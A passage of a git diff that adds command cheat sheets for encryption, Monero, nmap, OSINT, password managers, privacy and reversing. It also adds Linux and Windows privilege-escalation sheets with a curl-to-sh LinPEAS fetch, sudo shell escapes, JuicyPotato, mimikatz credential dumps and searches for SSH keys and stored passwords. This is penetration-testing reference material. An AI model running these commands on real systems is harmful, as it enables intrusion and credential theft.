|
||||||
|
# Auto-mount with keyfile
|
||||||
|
# <mapper_name> <device> <keyfile> luks
|
||||||
|
|
||||||
|
# Full disk encryption install (Ubuntu)
|
||||||
|
# Select "Encrypt the new Ubuntu installation" during install
|
||||||
|
|
||||||
|
# Encrypt home directory (ecryptfs - legacy)
|
||||||
|
sudo apt install ecryptfs-utils
|
||||||
|
ecryptfs-migrate-home -u <username>
|
||||||
|
|
||||||
|
# LUKS on LVM
|
||||||
|
sudo pvcreate /dev/mapper/<mapper_name>
|
||||||
|
sudo vgcreate <vg_name> /dev/mapper/<mapper_name>
|
||||||
|
sudo lvcreate -l 100%FREE -n <lv_name> <vg_name>
|
||||||
|
|
||||||
|
# Resize LUKS volume (grow)
|
||||||
|
sudo cryptsetup resize <mapper_name>
|
||||||
|
sudo resize2fs /dev/mapper/<mapper_name>
|
||||||
|
|
||||||
|
# Create encrypted swap
|
||||||
|
sudo cryptsetup luksFormat <swap_device>
|
||||||
|
sudo cryptsetup luksOpen <swap_device> cryptswap
|
||||||
|
sudo mkswap /dev/mapper/cryptswap
|
||||||
|
sudo swapon /dev/mapper/cryptswap
|
||||||
|
|
||||||
|
# VeraCrypt CLI - create volume
|
||||||
|
veracrypt -t -c
|
||||||
|
|
||||||
|
# VeraCrypt CLI - mount
|
||||||
|
veracrypt <volume_file> <mount_point>
|
||||||
|
|
||||||
|
# VeraCrypt CLI - dismount
|
||||||
|
veracrypt -d
|
||||||
|
|
||||||
|
# VeraCrypt CLI - list mounted
|
||||||
|
veracrypt -l
|
||||||
|
|
||||||
|
$ device: lsblk -dpno NAME | grep -v loop
|
||||||
|
$ mapper_name: ls /dev/mapper 2>/dev/null | grep -v control
|
||||||
|
$ mount_point: echo "/mnt/encrypted"
|
||||||
|
$ keyfile: echo "/root/keyfile"
|
||||||
|
$ backup_file: echo "luks_header.backup"
|
||||||
|
$ container_file: echo "encrypted_container.img"
|
||||||
|
$ size_mb: echo "1024"
|
||||||
|
$ slot_number: echo "0\n1\n2\n3\n4\n5\n6\n7"
|
||||||
|
$ username: whoami
|
||||||
|
$ vg_name: echo "encrypted_vg"
|
||||||
|
$ lv_name: echo "data"
|
||||||
|
$ volume_file: find ~ -name "*.hc" -o -name "*.tc" 2>/dev/null | head -5
|
||||||
121
monero.cheat
Normal file
121
monero.cheat
Normal file
|
|
@ -0,0 +1,121 @@
|
||||||
|
% monero, xmr, cryptocurrency, wallet
|
||||||
|
|
||||||
|
# Start Monero daemon
|
||||||
|
monerod
|
||||||
|
|
||||||
|
# Start daemon with remote node (no local blockchain)
|
||||||
|
monerod --bootstrap-daemon-address auto
|
||||||
|
|
||||||
|
# Start wallet CLI
|
||||||
|
monero-wallet-cli
|
||||||
|
|
||||||
|
# Create new wallet
|
||||||
|
monero-wallet-cli --generate-new-wallet <wallet_name>
|
||||||
|
|
||||||
|
# Open existing wallet
|
||||||
|
monero-wallet-cli --wallet-file <wallet_file>
|
||||||
|
|
||||||
|
# Connect to remote node
|
||||||
|
monero-wallet-cli --daemon-address <node_address>
|
||||||
|
|
||||||
|
# Restore wallet from seed
|
||||||
|
monero-wallet-cli --restore-deterministic-wallet
|
||||||
|
|
||||||
|
# Restore from keys
|
||||||
|
monero-wallet-cli --generate-from-keys <wallet_name>
|
||||||
|
|
||||||
|
# Check balance (in wallet)
|
||||||
|
balance
|
||||||
|
|
||||||
|
# Check unlocked balance
|
||||||
|
balance unlocked
|
||||||
|
|
||||||
|
# Get wallet address
|
||||||
|
address
|
||||||
|
|
||||||
|
# Get all addresses (subaddresses)
|
||||||
|
address all
|
||||||
|
|
||||||
|
# Create new subaddress
|
||||||
|
address new <label>
|
||||||
|
|
||||||
|
# Show seed (KEEP SECRET!)
|
||||||
|
seed
|
||||||
|
|
||||||
|
# Show private keys (KEEP SECRET!)
|
||||||
|
spendkey
|
||||||
|
viewkey
|
||||||
|
|
||||||
|
# Transfer XMR
|
||||||
|
transfer <address> <amount>
|
||||||
|
|
||||||
|
# Transfer with priority
|
||||||
|
transfer <priority> <address> <amount>
|
||||||
|
|
||||||
|
# Sweep all to address
|
||||||
|
sweep_all <address>
|
||||||
|
|
||||||
|
# Show transaction history
|
||||||
|
show_transfers
|
||||||
|
|
||||||
|
# Show incoming transfers
|
||||||
|
show_transfers in
|
||||||
|
|
||||||
|
# Show outgoing transfers
|
||||||
|
show_transfers out
|
||||||
|
|
||||||
|
# Show pending transfers
|
||||||
|
show_transfers pending
|
||||||
|
|
||||||
|
# Check transaction status
|
||||||
|
show_transfer <txid>
|
||||||
|
|
||||||
|
# Export outputs (for hardware wallet)
|
||||||
|
export_outputs outputs.txt
|
||||||
|
|
||||||
|
# Import outputs
|
||||||
|
import_outputs outputs.txt
|
||||||
|
|
||||||
|
# Export key images
|
||||||
|
export_key_images key_images.txt
|
||||||
|
|
||||||
|
# Sign message with wallet
|
||||||
|
sign <message>
|
||||||
|
|
||||||
|
# Verify signed message
|
||||||
|
verify <address> <signature> <message>
|
||||||
|
|
||||||
|
# Rescan blockchain
|
||||||
|
rescan_bc
|
||||||
|
|
||||||
|
# Rescan spent outputs
|
||||||
|
rescan_spent
|
||||||
|
|
||||||
|
# Refresh wallet
|
||||||
|
refresh
|
||||||
|
|
||||||
|
# Set daemon address
|
||||||
|
set_daemon <node_address>
|
||||||
|
|
||||||
|
# Check daemon status
|
||||||
|
status
|
||||||
|
|
||||||
|
# Get fee estimate
|
||||||
|
fee
|
||||||
|
|
||||||
|
# Stop wallet
|
||||||
|
exit
|
||||||
|
|
||||||
|
# Public remote nodes (use with caution)
|
||||||
|
# node.moneroworld.com:18089
|
||||||
|
# nodes.hashvault.pro:18081
|
||||||
|
# xmr-node.cakewallet.com:18081
|
||||||
|
|
||||||
|
$ wallet_name: echo "my_wallet"
|
||||||
|
$ wallet_file: find ~ -name "*.keys" 2>/dev/null | head -5
|
||||||
|
$ node_address: echo "node.moneroworld.com:18089"
|
||||||
|
$ address: echo ""
|
||||||
|
$ amount: echo "0.1"
|
||||||
|
$ priority: echo "0\n1\n2\n3\n4" --- --header "0=default, 1=unimportant, 2=normal, 3=elevated, 4=priority"
|
||||||
|
$ txid: echo ""
|
||||||
|
$ label: echo "donation"
|
||||||
53
nmap.cheat
Normal file
53
nmap.cheat
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
% nmap, scanning, recon
|
||||||
|
|
||||||
|
# Quick SYN scan (top 1000 ports)
|
||||||
|
nmap -sS <target>
|
||||||
|
|
||||||
|
# Full port scan (all 65535)
|
||||||
|
nmap -sS -p- <target>
|
||||||
|
|
||||||
|
# Service version detection
|
||||||
|
nmap -sV <target>
|
||||||
|
|
||||||
|
# OS detection
|
||||||
|
nmap -O <target>
|
||||||
|
|
||||||
|
# Aggressive scan (OS, version, scripts, traceroute)
|
||||||
|
nmap -A <target>
|
||||||
|
|
||||||
|
# UDP scan (top ports)
|
||||||
|
nmap -sU --top-ports 20 <target>
|
||||||
|
|
||||||
|
# Script scan (default scripts)
|
||||||
|
nmap -sC <target>
|
||||||
|
|
||||||
|
# Vulnerability scan
|
||||||
|
nmap --script vuln <target>
|
||||||
|
|
||||||
|
# SMB enumeration
|
||||||
|
nmap --script smb-enum-shares,smb-enum-users -p 445 <target>
|
||||||
|
|
||||||
|
# HTTP enumeration
|
||||||
|
nmap --script http-enum -p 80,443 <target>
|
||||||
|
|
||||||
|
# Full comprehensive scan
|
||||||
|
nmap -sS -sV -sC -O -p- -oA scan_<target> <target>
|
||||||
|
|
||||||
|
# Scan multiple targets from file
|
||||||
|
nmap -iL <targets_file>
|
||||||
|
|
||||||
|
# Fast scan (top 100 ports)
|
||||||
|
nmap -F <target>
|
||||||
|
|
||||||
|
# Ping sweep (host discovery)
|
||||||
|
nmap -sn <network_cidr>
|
||||||
|
|
||||||
|
# Skip ping (scan even if host appears down)
|
||||||
|
nmap -Pn <target>
|
||||||
|
|
||||||
|
# Output all formats
|
||||||
|
nmap -sS -sV -oA output_<target> <target>
|
||||||
|
|
||||||
|
$ target: echo ""
|
||||||
|
$ targets_file: find . -name "*.txt" -type f 2>/dev/null
|
||||||
|
$ network_cidr: echo "192.168.1.0/24"
|
||||||
106
osint.cheat
Normal file
106
osint.cheat
Normal file
|
|
@ -0,0 +1,106 @@
|
||||||
|
% osint, recon, reconnaissance, intelligence
|
||||||
|
|
||||||
|
# Sherlock - username search
|
||||||
|
sherlock <username>
|
||||||
|
|
||||||
|
# Sherlock - multiple usernames
|
||||||
|
sherlock <username1> <username2> <username3>
|
||||||
|
|
||||||
|
# Maigret - username search (better)
|
||||||
|
maigret <username>
|
||||||
|
|
||||||
|
# theHarvester - all sources
|
||||||
|
theHarvester -d <domain> -b all
|
||||||
|
|
||||||
|
# theHarvester - specific sources
|
||||||
|
theHarvester -d <domain> -b google,linkedin,twitter
|
||||||
|
|
||||||
|
# Subfinder - subdomain enumeration
|
||||||
|
subfinder -d <domain>
|
||||||
|
|
||||||
|
# Subfinder - with output
|
||||||
|
subfinder -d <domain> -o subdomains.txt
|
||||||
|
|
||||||
|
# Amass - subdomain enum
|
||||||
|
amass enum -d <domain>
|
||||||
|
|
||||||
|
# Amass - passive only
|
||||||
|
amass enum -passive -d <domain>
|
||||||
|
|
||||||
|
# Certificate transparency lookup
|
||||||
|
curl -s "https://crt.sh/?q=%.<domain>&output=json" | jq -r '.[].name_value' | sort -u
|
||||||
|
|
||||||
|
# DNS enumeration
|
||||||
|
dig <domain> ANY
|
||||||
|
dig <domain> MX
|
||||||
|
dig <domain> TXT
|
||||||
|
|
||||||
|
# Zone transfer attempt
|
||||||
|
dig axfr @<nameserver> <domain>
|
||||||
|
|
||||||
|
# Whois lookup
|
||||||
|
whois <domain>
|
||||||
|
|
||||||
|
# Reverse whois (by email)
|
||||||
|
# Use viewdns.info or whoxy.com
|
||||||
|
|
||||||
|
# Google dorking - site specific
|
||||||
|
# site:<domain> filetype:pdf
|
||||||
|
|
||||||
|
# Google dorking - login pages
|
||||||
|
# site:<domain> inurl:login OR inurl:admin
|
||||||
|
|
||||||
|
# Google dorking - exposed files
|
||||||
|
# site:<domain> filetype:sql OR filetype:env OR filetype:log
|
||||||
|
|
||||||
|
# Wayback machine URLs
|
||||||
|
waybackurls <domain>
|
||||||
|
|
||||||
|
# GitHub dorking - secrets
|
||||||
|
# org:<company> password OR api_key OR secret
|
||||||
|
|
||||||
|
# Shodan - host info
|
||||||
|
shodan host <ip>
|
||||||
|
|
||||||
|
# Shodan - search
|
||||||
|
shodan search "hostname:<domain>"
|
||||||
|
|
||||||
|
# Shodan - org search
|
||||||
|
shodan search 'org:"<company_name>"'
|
||||||
|
|
||||||
|
# Email verification
|
||||||
|
curl "https://api.hunter.io/v2/email-verifier?email=<email>&api_key=<api_key>"
|
||||||
|
|
||||||
|
# SpiderFoot scan
|
||||||
|
spiderfoot -s <target> -o output.html
|
||||||
|
|
||||||
|
# Recon-ng
|
||||||
|
recon-ng
|
||||||
|
# Then: marketplace install all
|
||||||
|
# workspaces create <name>
|
||||||
|
# modules load recon/domains-hosts/hackertarget
|
||||||
|
|
||||||
|
# Social media - Instagram OSINT
|
||||||
|
# instaloader <username>
|
||||||
|
|
||||||
|
# Image reverse search
|
||||||
|
# Google Images, TinEye, Yandex
|
||||||
|
|
||||||
|
# Metadata extraction
|
||||||
|
exiftool <image>
|
||||||
|
|
||||||
|
# GPS from image
|
||||||
|
exiftool -gpslatitude -gpslongitude <image>
|
||||||
|
|
||||||
|
# Check if email is breached
|
||||||
|
# haveibeenpwned.com API or dehashed.com
|
||||||
|
|
||||||
|
$ username: echo ""
|
||||||
|
$ domain: echo ""
|
||||||
|
$ ip: echo ""
|
||||||
|
$ nameserver: echo ""
|
||||||
|
$ company_name: echo ""
|
||||||
|
$ email: echo ""
|
||||||
|
$ api_key: echo ""
|
||||||
|
$ target: echo ""
|
||||||
|
$ image: find . -name "*.jpg" -o -name "*.png" 2>/dev/null | head -5
|
||||||
134
pass.cheat
Normal file
134
pass.cheat
Normal file
|
|
@ -0,0 +1,134 @@
|
||||||
|
% pass, password-manager, gpg, keepass
|
||||||
|
|
||||||
|
# Initialize password store
|
||||||
|
pass init <gpg_key_id>
|
||||||
|
|
||||||
|
# Initialize with git
|
||||||
|
pass git init
|
||||||
|
|
||||||
|
# List all passwords
|
||||||
|
pass
|
||||||
|
|
||||||
|
# List passwords in folder
|
||||||
|
pass <folder>
|
||||||
|
|
||||||
|
# Show password
|
||||||
|
pass <entry>
|
||||||
|
|
||||||
|
# Show password (clipboard, 45 sec)
|
||||||
|
pass -c <entry>
|
||||||
|
|
||||||
|
# Generate new password
|
||||||
|
pass generate <entry> <length>
|
||||||
|
|
||||||
|
# Generate without symbols
|
||||||
|
pass generate -n <entry> <length>
|
||||||
|
|
||||||
|
# Generate and copy to clipboard
|
||||||
|
pass generate -c <entry> <length>
|
||||||
|
|
||||||
|
# Insert password manually
|
||||||
|
pass insert <entry>
|
||||||
|
|
||||||
|
# Insert multiline
|
||||||
|
pass insert -m <entry>
|
||||||
|
|
||||||
|
# Edit password
|
||||||
|
pass edit <entry>
|
||||||
|
|
||||||
|
# Remove password
|
||||||
|
pass rm <entry>
|
||||||
|
|
||||||
|
# Move/rename password
|
||||||
|
pass mv <old_entry> <new_entry>
|
||||||
|
|
||||||
|
# Copy password entry
|
||||||
|
pass cp <entry> <new_entry>
|
||||||
|
|
||||||
|
# Find password
|
||||||
|
pass find <search_term>
|
||||||
|
|
||||||
|
# Search in passwords
|
||||||
|
pass grep <search_term>
|
||||||
|
|
||||||
|
# Git push changes
|
||||||
|
pass git push
|
||||||
|
|
||||||
|
# Git pull changes
|
||||||
|
pass git pull
|
||||||
|
|
||||||
|
# Git status
|
||||||
|
pass git status
|
||||||
|
|
||||||
|
# Import from KeePass
|
||||||
|
pass import keepass <kdbx_file>
|
||||||
|
|
||||||
|
# Export to KeePass (manual or script)
|
||||||
|
# pass show <entry> and import to KeePass
|
||||||
|
|
||||||
|
# KeePassXC CLI - open database
|
||||||
|
keepassxc-cli open <database>
|
||||||
|
|
||||||
|
# KeePassXC CLI - list entries
|
||||||
|
keepassxc-cli ls <database>
|
||||||
|
|
||||||
|
# KeePassXC CLI - show entry
|
||||||
|
keepassxc-cli show <database> <entry>
|
||||||
|
|
||||||
|
# KeePassXC CLI - show password only
|
||||||
|
keepassxc-cli show -s <database> <entry>
|
||||||
|
|
||||||
|
# KeePassXC CLI - add entry
|
||||||
|
keepassxc-cli add <database> <entry>
|
||||||
|
|
||||||
|
# KeePassXC CLI - generate password
|
||||||
|
keepassxc-cli generate -L <length>
|
||||||
|
|
||||||
|
# KeePassXC CLI - clip password
|
||||||
|
keepassxc-cli clip <database> <entry>
|
||||||
|
|
||||||
|
# Bitwarden CLI - login
|
||||||
|
bw login
|
||||||
|
|
||||||
|
# Bitwarden CLI - unlock
|
||||||
|
bw unlock
|
||||||
|
|
||||||
|
# Bitwarden CLI - list items
|
||||||
|
bw list items
|
||||||
|
|
||||||
|
# Bitwarden CLI - get password
|
||||||
|
bw get password <item_id>
|
||||||
|
|
||||||
|
# Bitwarden CLI - create item
|
||||||
|
bw create item <json_data>
|
||||||
|
|
||||||
|
# Bitwarden CLI - sync
|
||||||
|
bw sync
|
||||||
|
|
||||||
|
# gopass (pass compatible with teams)
|
||||||
|
gopass
|
||||||
|
|
||||||
|
# gopass - init with multiple keys
|
||||||
|
gopass init <key1> <key2>
|
||||||
|
|
||||||
|
# gopass - recipient add
|
||||||
|
gopass recipients add <gpg_key_id>
|
||||||
|
|
||||||
|
# Rofi integration (pass menu)
|
||||||
|
rofi-pass
|
||||||
|
|
||||||
|
# Dmenu integration
|
||||||
|
passmenu
|
||||||
|
|
||||||
|
# Browser integration
|
||||||
|
# browserpass extension + browserpass-native
|
||||||
|
|
||||||
|
$ gpg_key_id: gpg --list-keys --keyid-format SHORT 2>/dev/null | grep -E "^pub" | awk '{print $2}' | cut -d'/' -f2
|
||||||
|
$ entry: pass 2>/dev/null | grep -v "Password Store" | sed 's/[├│└──]//g' | tr -d ' ' | grep -v '^$'
|
||||||
|
$ folder: pass 2>/dev/null | grep -v "Password Store" | grep "/" | head -5 | sed 's/[├│└──]//g' | tr -d ' '
|
||||||
|
$ length: echo "20\n32\n64"
|
||||||
|
$ old_entry: pass 2>/dev/null | grep -v "Password Store" | sed 's/[├│└──]//g' | tr -d ' ' | grep -v '^$'
|
||||||
|
$ new_entry: echo ""
|
||||||
|
$ search_term: echo ""
|
||||||
|
$ kdbx_file: find ~ -name "*.kdbx" 2>/dev/null | head -5
|
||||||
|
$ database: find ~ -name "*.kdbx" 2>/dev/null | head -5
|
||||||
128
privacy.cheat
Normal file
128
privacy.cheat
Normal file
|
|
@ -0,0 +1,128 @@
|
||||||
|
% privacy, encryption, tor, gpg, pets
|
||||||
|
|
||||||
|
# Generate GPG key pair
|
||||||
|
gpg --full-generate-key
|
||||||
|
|
||||||
|
# List GPG keys
|
||||||
|
gpg --list-keys
|
||||||
|
|
||||||
|
# List secret keys
|
||||||
|
gpg --list-secret-keys
|
||||||
|
|
||||||
|
# Export public key
|
||||||
|
gpg --armor --export <key_id> > public.asc
|
||||||
|
|
||||||
|
# Export private key (backup)
|
||||||
|
gpg --armor --export-secret-keys <key_id> > private.asc
|
||||||
|
|
||||||
|
# Import a key
|
||||||
|
gpg --import <keyfile>
|
||||||
|
|
||||||
|
# Encrypt file with GPG (symmetric)
|
||||||
|
gpg -c <file>
|
||||||
|
|
||||||
|
# Encrypt file for recipient
|
||||||
|
gpg -e -r <recipient_email> <file>
|
||||||
|
|
||||||
|
# Decrypt GPG file
|
||||||
|
gpg -d <file.gpg> > <output_file>
|
||||||
|
|
||||||
|
# Sign a file
|
||||||
|
gpg --sign <file>
|
||||||
|
|
||||||
|
# Verify signature
|
||||||
|
gpg --verify <file.sig>
|
||||||
|
|
||||||
|
# Age encryption - generate key
|
||||||
|
age-keygen -o key.txt
|
||||||
|
|
||||||
|
# Age encrypt file
|
||||||
|
age -r <public_key> -o <file.age> <file>
|
||||||
|
|
||||||
|
# Age decrypt file
|
||||||
|
age -d -i key.txt -o <output> <file.age>
|
||||||
|
|
||||||
|
# Age encrypt with passphrase
|
||||||
|
age -p -o <file.age> <file>
|
||||||
|
|
||||||
|
# Start Tor service
|
||||||
|
sudo systemctl start tor
|
||||||
|
|
||||||
|
# Check Tor status
|
||||||
|
sudo systemctl status tor
|
||||||
|
|
||||||
|
# Torify a command
|
||||||
|
torify <command>
|
||||||
|
|
||||||
|
# Use torsocks
|
||||||
|
torsocks curl https://check.torproject.org
|
||||||
|
|
||||||
|
# Get new Tor circuit
|
||||||
|
sudo killall -HUP tor
|
||||||
|
|
||||||
|
# Check if using Tor
|
||||||
|
curl --socks5 localhost:9050 https://check.torproject.org/api/ip
|
||||||
|
|
||||||
|
# I2P - start router
|
||||||
|
i2prouter start
|
||||||
|
|
||||||
|
# I2P - check status
|
||||||
|
i2prouter status
|
||||||
|
|
||||||
|
# Secure delete file (shred)
|
||||||
|
shred -vfz -n 5 <file>
|
||||||
|
|
||||||
|
# Secure delete with srm
|
||||||
|
srm -vz <file>
|
||||||
|
|
||||||
|
# Wipe free space
|
||||||
|
sfill -v <mountpoint>
|
||||||
|
|
||||||
|
# BleachBit clean
|
||||||
|
bleachbit --clean system.cache system.tmp
|
||||||
|
|
||||||
|
# Veracrypt create volume
|
||||||
|
veracrypt -t -c
|
||||||
|
|
||||||
|
# Veracrypt mount volume
|
||||||
|
veracrypt <volume_file> <mount_point>
|
||||||
|
|
||||||
|
# Veracrypt dismount
|
||||||
|
veracrypt -d <mount_point>
|
||||||
|
|
||||||
|
# Check for listening services
|
||||||
|
ss -tulpn
|
||||||
|
|
||||||
|
# Block all incoming (UFW)
|
||||||
|
sudo ufw default deny incoming && sudo ufw enable
|
||||||
|
|
||||||
|
# MAC address randomization
|
||||||
|
sudo macchanger -r <interface>
|
||||||
|
|
||||||
|
# Reset MAC to permanent
|
||||||
|
sudo macchanger -p <interface>
|
||||||
|
|
||||||
|
# DNS over HTTPS test
|
||||||
|
curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A'
|
||||||
|
|
||||||
|
# Check DNS leaks
|
||||||
|
curl https://dnsleaktest.com/
|
||||||
|
|
||||||
|
# Metadata removal from image
|
||||||
|
exiftool -all= <image>
|
||||||
|
|
||||||
|
# Metadata removal from PDF
|
||||||
|
exiftool -all:all= <pdf>
|
||||||
|
|
||||||
|
# MAT2 metadata removal
|
||||||
|
mat2 <file>
|
||||||
|
|
||||||
|
# Check what metadata exists
|
||||||
|
exiftool <file>
|
||||||
|
|
||||||
|
$ key_id: gpg --list-keys --keyid-format SHORT 2>/dev/null | grep -E "^pub" | awk '{print $2}' | cut -d'/' -f2
|
||||||
|
$ recipient_email: echo ""
|
||||||
|
$ file: find . -type f -maxdepth 1 2>/dev/null | head -20
|
||||||
|
$ interface: ip link show | grep -E "^[0-9]" | cut -d: -f2 | tr -d ' ' | grep -v lo
|
||||||
|
$ mount_point: echo "/mnt/veracrypt"
|
||||||
|
$ public_key: echo "age1..."
|
||||||
71
privesc-linux.cheat
Normal file
71
privesc-linux.cheat
Normal file
|
|
@ -0,0 +1,71 @@
|
||||||
|
% privesc, linux, escalation
|
||||||
|
|
||||||
|
# Find SUID binaries
|
||||||
|
find / -perm -4000 -type f 2>/dev/null
|
||||||
|
|
||||||
|
# Find SGID binaries
|
||||||
|
find / -perm -2000 -type f 2>/dev/null
|
||||||
|
|
||||||
|
# Check sudo permissions
|
||||||
|
sudo -l
|
||||||
|
|
||||||
|
# Find writable directories
|
||||||
|
find / -writable -type d 2>/dev/null
|
||||||
|
|
||||||
|
# Find world-writable files
|
||||||
|
find / -perm -o+w -type f 2>/dev/null
|
||||||
|
|
||||||
|
# Check cron jobs
|
||||||
|
cat /etc/crontab
|
||||||
|
ls -la /etc/cron*
|
||||||
|
crontab -l
|
||||||
|
|
||||||
|
# Find capabilities
|
||||||
|
getcap -r / 2>/dev/null
|
||||||
|
|
||||||
|
# Check for docker group
|
||||||
|
id | grep docker
|
||||||
|
|
||||||
|
# Check kernel version (for exploits)
|
||||||
|
uname -a
|
||||||
|
|
||||||
|
# Check OS version
|
||||||
|
cat /etc/os-release
|
||||||
|
|
||||||
|
# LinPEAS
|
||||||
|
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
||||||
|
|
||||||
|
# LinEnum
|
||||||
|
./LinEnum.sh -t
|
||||||
|
|
||||||
|
# Check passwd file writable
|
||||||
|
ls -la /etc/passwd
|
||||||
|
|
||||||
|
# Check shadow file readable
|
||||||
|
ls -la /etc/shadow
|
||||||
|
|
||||||
|
# Find password files
|
||||||
|
find / -name "*.txt" -exec grep -l "password" {} \; 2>/dev/null
|
||||||
|
|
||||||
|
# Check NFS exports (no_root_squash)
|
||||||
|
cat /etc/exports
|
||||||
|
|
||||||
|
# Find SSH keys
|
||||||
|
find / -name "id_rsa" 2>/dev/null
|
||||||
|
find / -name "authorized_keys" 2>/dev/null
|
||||||
|
|
||||||
|
# Check PATH hijacking
|
||||||
|
echo $PATH
|
||||||
|
ls -la /usr/local/bin
|
||||||
|
|
||||||
|
# GTFOBins sudo bypass - vim
|
||||||
|
sudo vim -c ':!/bin/sh'
|
||||||
|
|
||||||
|
# GTFOBins sudo bypass - find
|
||||||
|
sudo find . -exec /bin/sh \; -quit
|
||||||
|
|
||||||
|
# GTFOBins sudo bypass - awk
|
||||||
|
sudo awk 'BEGIN {system("/bin/sh")}'
|
||||||
|
|
||||||
|
# GTFOBins SUID - python
|
||||||
|
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
||||||
83
privesc-windows.cheat
Normal file
83
privesc-windows.cheat
Normal file
|
|
@ -0,0 +1,83 @@
|
||||||
|
% privesc, windows, escalation
|
||||||
|
|
||||||
|
# System info
|
||||||
|
systeminfo
|
||||||
|
|
||||||
|
# Current user privileges
|
||||||
|
whoami /priv
|
||||||
|
|
||||||
|
# Current user groups
|
||||||
|
whoami /groups
|
||||||
|
|
||||||
|
# All users
|
||||||
|
net user
|
||||||
|
|
||||||
|
# User details
|
||||||
|
net user <username>
|
||||||
|
|
||||||
|
# Local groups
|
||||||
|
net localgroup
|
||||||
|
|
||||||
|
# Administrators group
|
||||||
|
net localgroup administrators
|
||||||
|
|
||||||
|
# Running services
|
||||||
|
wmic service list brief
|
||||||
|
|
||||||
|
# Installed patches
|
||||||
|
wmic qfe list
|
||||||
|
|
||||||
|
# Scheduled tasks
|
||||||
|
schtasks /query /fo LIST /v
|
||||||
|
|
||||||
|
# Find unquoted service paths
|
||||||
|
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"
|
||||||
|
|
||||||
|
# Find writable service directories
|
||||||
|
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
|
||||||
|
|
||||||
|
# AlwaysInstallElevated check
|
||||||
|
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||||
|
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||||
|
|
||||||
|
# Stored credentials
|
||||||
|
cmdkey /list
|
||||||
|
|
||||||
|
# SAM and SYSTEM backup
|
||||||
|
dir C:\Windows\Repair\SAM
|
||||||
|
dir C:\Windows\System32\config\RegBack\SAM
|
||||||
|
|
||||||
|
# PowerUp
|
||||||
|
Import-Module .\PowerUp.ps1; Invoke-AllChecks
|
||||||
|
|
||||||
|
# WinPEAS
|
||||||
|
.\winPEASany.exe
|
||||||
|
|
||||||
|
# Juicy Potato (SeImpersonate)
|
||||||
|
.\JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\shell.exe" -t *
|
||||||
|
|
||||||
|
# PrintSpoofer (SeImpersonate)
|
||||||
|
.\PrintSpoofer.exe -i -c cmd
|
||||||
|
|
||||||
|
# GodPotato (SeImpersonate)
|
||||||
|
.\GodPotato.exe -cmd "cmd /c whoami"
|
||||||
|
|
||||||
|
# Search for passwords in files
|
||||||
|
findstr /si password *.txt *.ini *.config
|
||||||
|
|
||||||
|
# Search registry for passwords
|
||||||
|
reg query HKLM /f password /t REG_SZ /s
|
||||||
|
reg query HKCU /f password /t REG_SZ /s
|
||||||
|
|
||||||
|
# Check saved WiFi passwords
|
||||||
|
netsh wlan show profiles
|
||||||
|
netsh wlan show profile name="<wifi_name>" key=clear
|
||||||
|
|
||||||
|
# Dump SAM with mimikatz
|
||||||
|
mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
|
||||||
|
|
||||||
|
# Dump credentials with mimikatz
|
||||||
|
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
|
||||||
|
|
||||||
|
$ username: echo ""
|
||||||
|
$ wifi_name: echo ""
|
||||||
127
reversing.cheat
Normal file
127
reversing.cheat
Normal file
|
|
@ -0,0 +1,127 @@
|
||||||
|
% reversing, reverse-engineering, ghidra, radare2, gdb, binary
|
||||||
|
|
||||||
|
# Ghidra - start GUI
|
||||||
|
ghidraRun
|
||||||
|
|
||||||
|
# Ghidra - analyze headless
|
||||||
|
analyzeHeadless <project_dir> <project_name> -import <binary> -postScript <script>
|
||||||
|
|
||||||
|
# radare2 - open binary
|
||||||
|
r2 <binary>
|
||||||
|
|
||||||
|
# radare2 - analyze all
|
||||||
|
r2 -A <binary>
|
||||||
|
|
||||||
|
# radare2 - analyze and open
|
||||||
|
r2 -AA <binary>
|
||||||
|
|
||||||
|
# r2 commands (inside r2):
|
||||||
|
# aaa - analyze all
|
||||||
|
# afl - list functions
|
||||||
|
# pdf - print disassembly of function
|
||||||
|
# s main - seek to main
|
||||||
|
# VV - visual graph mode
|
||||||
|
# px 100 - print hex
|
||||||
|
# iz - list strings in data section
|
||||||
|
# ii - list imports
|
||||||
|
# ie - list entry points
|
||||||
|
|
||||||
|
# radare2 - list functions
|
||||||
|
r2 -qc 'aaa; afl' <binary>
|
||||||
|
|
||||||
|
# radare2 - list strings
|
||||||
|
r2 -qc 'iz' <binary>
|
||||||
|
|
||||||
|
# radare2 - disassemble main
|
||||||
|
r2 -qc 'aaa; s main; pdf' <binary>
|
||||||
|
|
||||||
|
# GDB - start debugging
|
||||||
|
gdb <binary>
|
||||||
|
|
||||||
|
# GDB - run with args
|
||||||
|
gdb --args <binary> <arg1> <arg2>
|
||||||
|
|
||||||
|
# GDB commands:
|
||||||
|
# r - run
|
||||||
|
# b main - breakpoint at main
|
||||||
|
# b *0x401000 - breakpoint at address
|
||||||
|
# c - continue
|
||||||
|
# n - next (step over)
|
||||||
|
# s - step (step into)
|
||||||
|
# p $eax - print register
|
||||||
|
# x/10x $esp - examine memory
|
||||||
|
# info reg - show registers
|
||||||
|
# disas - disassemble current function
|
||||||
|
# bt - backtrace
|
||||||
|
# q - quit
|
||||||
|
|
||||||
|
# GDB with pwndbg/gef (enhanced)
|
||||||
|
gdb -q <binary>
|
||||||
|
|
||||||
|
# objdump - disassemble
|
||||||
|
objdump -d <binary>
|
||||||
|
|
||||||
|
# objdump - all headers
|
||||||
|
objdump -x <binary>
|
||||||
|
|
||||||
|
# objdump - disassemble with source
|
||||||
|
objdump -S <binary>
|
||||||
|
|
||||||
|
# readelf - file header
|
||||||
|
readelf -h <binary>
|
||||||
|
|
||||||
|
# readelf - sections
|
||||||
|
readelf -S <binary>
|
||||||
|
|
||||||
|
# readelf - symbols
|
||||||
|
readelf -s <binary>
|
||||||
|
|
||||||
|
# readelf - program headers
|
||||||
|
readelf -l <binary>
|
||||||
|
|
||||||
|
